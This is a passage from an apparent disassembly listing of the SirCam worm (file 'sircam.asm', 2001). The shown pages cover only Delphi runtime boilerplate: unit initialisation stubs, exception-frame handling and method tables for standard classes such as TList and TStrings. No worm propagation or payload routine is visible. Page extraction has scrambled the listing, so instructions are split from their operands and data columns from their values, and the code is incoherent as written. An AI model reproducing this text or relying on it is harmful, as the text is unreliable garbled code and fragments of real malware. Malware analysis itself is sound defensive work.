; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B2CA:
; DATA XREF: sub_40B194+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40B2C9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B2D1:
sub_40B194
; CODE XREF: sub_40B194+135\030j
; DATA XREF: sub_40B194+130\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
308
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40B2D4
proc near
; DATA XREF: CODE:0041A90C\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40B33C
push
dword ptr fs:[eax]
mov
fs:[eax], esp
sub
ds:dword_41E5F0, 1
jnb
short loc_40B32E
mov
eax, offset dword_40A5FC
call
sub_4032D0
mov
eax, offset dword_40A6E8
call
sub_4032EC
cmp
ds:byte_41E4C9, 0
jz
short loc_40B31A
mov
eax, offset off_41C124
mov
edx, offset dword_40B350
call
sub_40351C
loc_40B31A:
; CODE XREF: sub_40B2D4+35\030j
call
call
call
call
sub_409B0C
sub_40A020
sub_409C44
sub_40A460
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40B2D4+18\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40B343
loc_40B32E:
locret_40B33B:
; CODE XREF: sub_40B2D4+6D\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B33C:
; DATA XREF: sub_40B2D4+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40B33B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B343:
sub_40B2D4
; CODE XREF: sub_40B2D4+67\030j
; DATA XREF: sub_40B2D4+62\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 2
dword_40B350
dd 7830h
; DATA XREF: sub_40B2D4+3C\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40B354
proc near
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
; DATA XREF: CODE:0041A8F8\031o
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
mov
inc
xor
pop
pop
pop
mov
push
309
offset loc_40B379
dword ptr fs:[eax]
fs:[eax], esp
ds:dword_41E600
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40B380
locret_40B378:
; CODE XREF: sub_40B354+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B379:
; DATA XREF: sub_40B354+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40B378
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B380:
sub_40B354
; CODE XREF: sub_40B354+24\030j
; DATA XREF: sub_40B354+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40B384:
sub
retn
; DATA XREF: CODE:0041A8F4\031o
ds:dword_41E600, 1
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40B38C
proc near
; DATA XREF: CODE:0041A900\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40B3B1
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E604
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_40B3B8
locret_40B3B0:
; CODE XREF: sub_40B38C+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B3B1:
; DATA XREF: sub_40B38C+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40B3B0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B3B8:
sub_40B38C
; CODE XREF: sub_40B38C+24\030j
; DATA XREF: sub_40B38C+1F\030o
pop
ebp
retn
endp ; sp = -4
sircam.asm
Fri Aug 10 12:42:44 2001
310
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40B3BC:
; DATA XREF: CODE:0041A8FC\031o
sub
ds:dword_41E604, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_40B3C4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB9C\031o
dd 0FFA3h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC2C\031o
dd 0FFA4h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC38\031o
dd 0FFA5h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC54\031o
dd 0FFA6h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBB4\031o
dd 0FFA7h
off_40B3EC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC6C\031o
dd 0FFA8h
off_40B3F4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC24\031o
dd 0FFA9h
off_40B3FC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBCC\031o
dd 0FFAAh
off_40B404
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB94\031o
dd 0FFABh
off_40B40C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB90\031o
dd 0FFACh
off_40B414
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB24\031o
dd 0FFADh
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBE8\031o
dd 0FFAEh
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB44\031o
dd 0FFAFh
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB4C\031o
dd 0FF90h
off_40B434
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB28\031o
dd 0FF91h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DAF0\031o
dd 0FF92h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB60\031o
dd 0FF93h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DAD0\031o
dd 0FF94h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB70\031o
dd 0FF95h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBB8\031o
dd 0FF96h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC90\031o
dd 0FF97h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB84\031o
dd 0FF98h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40B474
proc near
; DATA XREF: CODE:0041A918\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40B499
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E608
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
sircam.asm
Fri Aug 10 12:42:44 2001
push
311
offset loc_40B4A0
locret_40B498:
; CODE XREF: sub_40B474+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B499:
; DATA XREF: sub_40B474+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40B498
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B4A0:
sub_40B474
; CODE XREF: sub_40B474+24\030j
; DATA XREF: sub_40B474+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40B4A4:
; DATA XREF: CODE:0041A914\031o
sub
ds:dword_41E608, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 5
aFalse
db ’False’,0
; DATA XREF: DATA:0041C2E4\031o
align 4
dword_40B4BC
dd 0FFFFFFFFh, 4, 65757254h, 0, 0FFFFFFFFh, 1 ; DATA XREF: DATA:0041C2E8
\031o
dword_40B4D4
dd 2Eh
; DATA XREF: DATA:0041C2EC\031o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40B4D8
proc near
; DATA XREF: CODE:0041A920\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40B51E
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E60C
jnz
short loc_40B510
mov
eax, offset off_41C2EC
call
sub_4034C8
mov
eax, offset off_41C2E4
mov
ecx, 2
mov
edx, ds:off_401000
call
sub_403BE8
loc_40B510:
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40B4D8+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40B525
locret_40B51D:
; CODE XREF: sub_40B4D8+4B\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B51E:
; DATA XREF: sub_40B4D8+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40B51D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40B525:
sub_40B4D8
312
; CODE XREF: sub_40B4D8+45\030j
; DATA XREF: sub_40B4D8+40\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40B528:
; DATA XREF: CODE:0041A91C\031o
sub
ds:dword_41E60C, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_40B530
dd offset dword_40B57C ; DATA XREF: CODE:0040B5B4\031o
; CODE:0040B610\031o ...
dd 7 dup(0)
dd offset dword_40B57C
dd 0Ch
dd offset off_4061F4
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_40B57C
dd 7453450Ch, 6D616572h, 6F727245h, 408D72h ; DATA XREF: CODE:0040B530
\030o
; CODE:0040B550\030o
off_40B58C
dd offset dword_40B5D8 ; DATA XREF: sub_40D940+4B\031r
dd 7 dup(0)
dd offset dword_40B5D8
dd 0Ch
dd offset off_40B530
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_40B5D8
dd 4346450Dh, 74616572h, 72724565h, 0C08B726Fh ; DATA XREF: CODE:0040B58C
\030o
; CODE:0040B5AC\030o
off_40B5E8
dd offset dword_40B634 ; DATA XREF: sub_40D940+84\031r
dd 7 dup(0)
dd offset dword_40B634
dd 0Ch
dd offset off_40B530
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_40B634
dd 4F46450Bh, 456E6570h, 726F7272h ; DATA XREF: CODE:0040B5E8\030o
; CODE:0040B608\030o
off_40B640
dd offset dword_40B68C ; DATA XREF: CODE:0040B6C0\031o
; CODE:0040B718\031o
dd 7 dup(0)
dd offset dword_40B68C
dd 0Ch
dd offset off_40B530
dd offset loc_402CA0
dd offset nullsub_2
sircam.asm
dword_40B68C
Fri Aug 10 12:42:44 2001
dd
dd
dd
dd
dd
dd
dd
dd
dword_40B6E4
off_40B6F0
dword_40B73C
off_40B748
dword_40B794
off_40B7A0
dword_40B7EC
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
313
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6946450Bh, 4572656Ch, 726F7272h ; DATA XREF: CODE:0040B640\030o
; CODE:0040B660\030o
offset dword_40B6E4 ; DATA XREF: sub_40D884+24\031r
; sub_40DDAC+7\031r ...
7 dup(0)
offset dword_40B6E4
0Ch
offset off_40B640
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6552450Ah, 72456461h, 90726F72h ; DATA XREF: CODE:0040B698\030o
; CODE:0040B6B8\030o
offset dword_40B73C ; DATA XREF: sub_40D8BC+24\031r
7 dup(0)
offset dword_40B73C
0Ch
offset off_40B640
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
7257450Bh, 45657469h, 726F7272h ; DATA XREF: CODE:0040B6F0\030o
; CODE:0040B710\030o
offset dword_40B794 ; DATA XREF: sub_40C180+23\031r
7 dup(0)
offset dword_40B794
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
694C450Ah, 72457473h, 90726F72h ; DATA XREF: CODE:0040B748\030o
; CODE:0040B768\030o
offset dword_40B7EC ; DATA XREF: sub_40CA0C+23\031r
7 dup(0)
offset dword_40B7EC
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
74534510h, 676E6972h, 7473694Ch, 6F727245h, 408D72h
; DATA XREF: CODE:0040B7A0\030o
; CODE:0040B7C0\030o
sircam.asm
off_40B800
dword_40B84C
\030o
off_40B85C
Fri Aug 10 12:42:44 2001
dd offset dword_40B84C
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dword_40B8A8
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_40B8BC
dd
dword_40B918
off_40B920
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dword_40B96C
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_40B978
dd
off_40B908
314
; DATA XREF: sub_4143D8+25\031r
; sub_41442C+6D\031r
7 dup(0)
offset dword_40B84C
10h
offset off_4062B8
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset loc_4095DC
offset sub_402BCC
754F450Fh, 52664F74h, 756F7365h, 73656372h ; DATA XREF: CODE:0040B800
; CODE:0040B820\030o
offset dword_40B8A8 ; DATA XREF: sub_414244+33\031r
7 dup(0)
offset dword_40B8A8
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6E494511h, 696C6176h, 65704F64h, 69746172h, 0C08B6E6Fh
; DATA XREF: CODE:0040B85C\030o
; CODE:0040B87C\030o
offset off_40B908
; DATA XREF: sub_40C1B8+28\031r
; sub_40C358+26\031r ...
7 dup(0)
offset dword_40B918
10h
offset off_40100C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_40C0B0
offset loc_40C234
; DATA XREF: CODE:0040B8BC\030o
offset nullsub_6
offset sub_40C104
offset sub_40C180
694C5405h, 0C08B7473h ; DATA XREF: CODE:0040B8DC\030o
offset dword_40B96C ; DATA XREF: CODE:0040E4B8\031r
; CODE:0040E4DA\031r ...
7 dup(0)
offset dword_40B96C
24h
offset off_40100C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_40C3AC
6854540Bh, 64616572h, 7473694Ch ; DATA XREF: CODE:0040B920\030o
; CODE:0040B940\030o
offset off_40B9C4
; DATA XREF: CODE:0040BA70\031o
; CODE:004134C0\031o
sircam.asm
off_40B9C4
dword_40B9D0
dword_40B9DE
off_40B9EC
dword_40B9F0
off_40BA14
dword_40BA18
\030o
Fri Aug 10 12:42:44 2001
dd 3 dup(0)
dd offset dword_40B9F0
dd 2 dup(0)
dd offset dword_40B9D0
dd offset dword_40B9DE
align 8
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_40C520
dd offset loc_40C630
315
; DATA XREF: CODE:0040B978\030o
; CODE:0040B9FD\031o
dd offset nullsub_7
dd offset sub_40C54C
dd 0FFFF0002h
; DATA XREF: CODE:0040B994\030o
db 0FEh, 0FFh
dd offset loc_40C6EC
dd offset sub_40C63C
dd 6550540Bh, 73697372h, 746E6574h ; DATA XREF: CODE:0040B998\030o
align 4
dd offset dword_40B9F0 ; DATA XREF: CODE:0040BB32\031o
; CODE:0041356A\031o
dd 50540B07h, 69737265h, 6E657473h ; DATA XREF: CODE:0040B988\030o
; CODE:0040B9EC\030o
db 74h
dd offset off_40B9C4
dd offset off_401060
dd 43070000h, 7373616Ch, 7365h
align 4
dd offset dword_40BA18 ; DATA XREF: CODE:0040BB0E\031o
dd 53490F0Fh, 6E697274h, 64417367h, 65747061h ; DATA XREF: CODE:0040BA14
off_40BA48
db
dd
dd
dd
db
dd
off_40BA94
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
72h
offset off_401080
9C2F3401h, 0D052EC73h,
65737361h
73h, 2 dup(0)
offset off_40BA94
;
;
2 dup(0)
offset dword_40BB04
offset dword_40BB24
3 dup(0)
offset dword_40BB16
0Ch
offset off_40B978
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_40C6F0
offset loc_40C630
;
;
offset sub_40C900
offset sub_40C820
offset loc_4027FC
offset loc_40CB84
offset loc_4027FC
offset loc_40CB8C
offset sub_40CBE4
offset sub_40CF2C
offset nullsub_8
0A69E11h, 823DAF20h, 6C4307DAh
DATA XREF: CODE:0040BB90\031o
sub_40C820+C\031r ...
DATA XREF: CODE:0040BA48\030o
CODE:0040BB2E\031o
sircam.asm
dword_40BB04
dword_40BB16
off_40BB20
dword_40BB24
off_40BB44
dword_40BB48
\030o
Fri Aug 10 12:42:44 2001
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
db
dd
dd
dd
db
dd
dd
offset nullsub_9
offset sub_40D14C
offset nullsub_10
offset sub_40C720
offset sub_40C744
offset sub_40C768
offset loc_4027FC
offset loc_4027FC
offset sub_40CA9C
offset sub_40CB90
offset sub_40CCCC
offset loc_4027FC
offset sub_40CD7C
offset sub_40CDD0
offset sub_40CE7C
offset sub_40D010
offset sub_40D068
offset sub_40D0FC
0Eh, 10000h
2 dup(0)
offset off_40BA14
8
74535408h, 676E6972h
73h, 90h
offset dword_40BB24
53540807h, 6E697274h
316
; DATA XREF: CODE:0040BA54\030o
; DATA XREF: CODE:0040BA68\030o
; DATA XREF: CODE:0040BC59\031o
; DATA XREF: CODE:0040BA58\030o
; CODE:0040BB20\030o
db 67h, 73h
dd offset off_40BA94
dd offset off_40B9EC
align 4
dd 616C4307h, 73657373h, 0C08B0000h
dd offset dword_40BB48 ; DATA XREF: sub_40D294+33\031r
; sub_40D380+16\031r ...
dd 53540B0Eh, 6E697274h, 65744967h, 86Dh, 100h ; DATA XREF: CODE:0040BB44
off_40BB68
db 0
dd offset off_401000
align 8
dd offset off_40BBB4
off_40BBB4
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
3 dup(0)
offset dword_40BC48
3 dup(0)
offset dword_40BC38
30h
offset off_40BA48
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_40D294
offset loc_40C630
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
sub_40C900
sub_40C820
sub_40D500
loc_40D534
loc_40D538
sub_40D53C
sub_40CBE4
sub_40D680
sub_40D6D8
sub_40D7A8
sub_40D14C
loc_40D7C4
sub_40D2F0
; DATA XREF: CODE:0040E4C9\031r
; sub_411838+1D\031r ...
; DATA XREF: CODE:0040BB68\030o
; CODE:0040BC55\031o
sircam.asm
dword_40BC38
dword_40BC48
off_40BC6C
off_40BCB8
dword_40BCC8
off_40BCD0
off_40BD1C
dword_40BD2C
\030o
off_40BD3C
Fri Aug 10 12:42:44 2001
317
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
offset sub_40C744
offset sub_40C768
offset sub_40D380
offset sub_40D3B8
offset sub_40D41C
offset sub_40CB90
offset sub_40D598
offset sub_40D5D0
offset sub_40CD7C
offset sub_40CDD0
offset sub_40CE7C
offset sub_40D010
offset sub_40D068
offset sub_40D0FC
offset sub_40D348
offset sub_40D364
offset sub_40D498
offset loc_40D7EC
offset sub_40D7FC
7453540Bh, 676E6972h, 7473694Ch ; DATA XREF: CODE:0040BB88\030o
offset dword_40BC48
53540B07h, 6E697274h, 73694C67h ; DATA XREF: CODE:0040BB78\030o
; CODE:0040BC44\030o
db 74h
dd offset off_40BBB4
dd offset off_40BB20
dd 43070000h, 7373616Ch, 7365h
align 4
dd offset off_40BCB8
; DATA XREF: CODE:0040BCF8\031o
; CODE:0040BDCC\031o
dd 7 dup(0)
dd offset dword_40BCC8
dd 4
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dd offset nullsub_11
; DATA XREF: CODE:0040BC6C\030o
dd offset loc_4027FC
dd offset loc_4027FC
dd offset loc_4027FC
